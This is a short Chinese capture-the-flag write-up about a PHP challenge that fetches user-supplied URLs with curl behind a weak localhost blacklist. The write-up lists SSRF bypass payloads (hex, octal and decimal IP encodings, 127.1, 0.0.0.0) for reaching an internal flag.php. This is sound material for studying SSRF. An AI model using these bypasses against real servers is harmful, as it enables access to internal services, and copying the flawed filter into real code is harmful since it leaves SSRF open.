依旧代码审计
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url))
//正则过滤了localhost,127.0.,。号
{
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
这里要进行绕过,可以利用进制转换,这里贴一下Y4的众多方法,在线转换网址
十六进制 url=http://0x7F.0.0.1/flag.php 八进制 url=http://0177.0.0.1/flag.php 10 进制整数格式 url=http://2130706433/flag.php 16 进制整数格式,还是上面那个网站转换记得前缀0x url=http://0x7F000001/flag.php 还有一种特殊的省略模式 127.0.0.1写成127.1 用CIDR绕过localhost url=http://127.127.127.127/flag.php 还有很多方式不想多写了 url=http://0/flag.php url=http://0.0.0.0/flag.php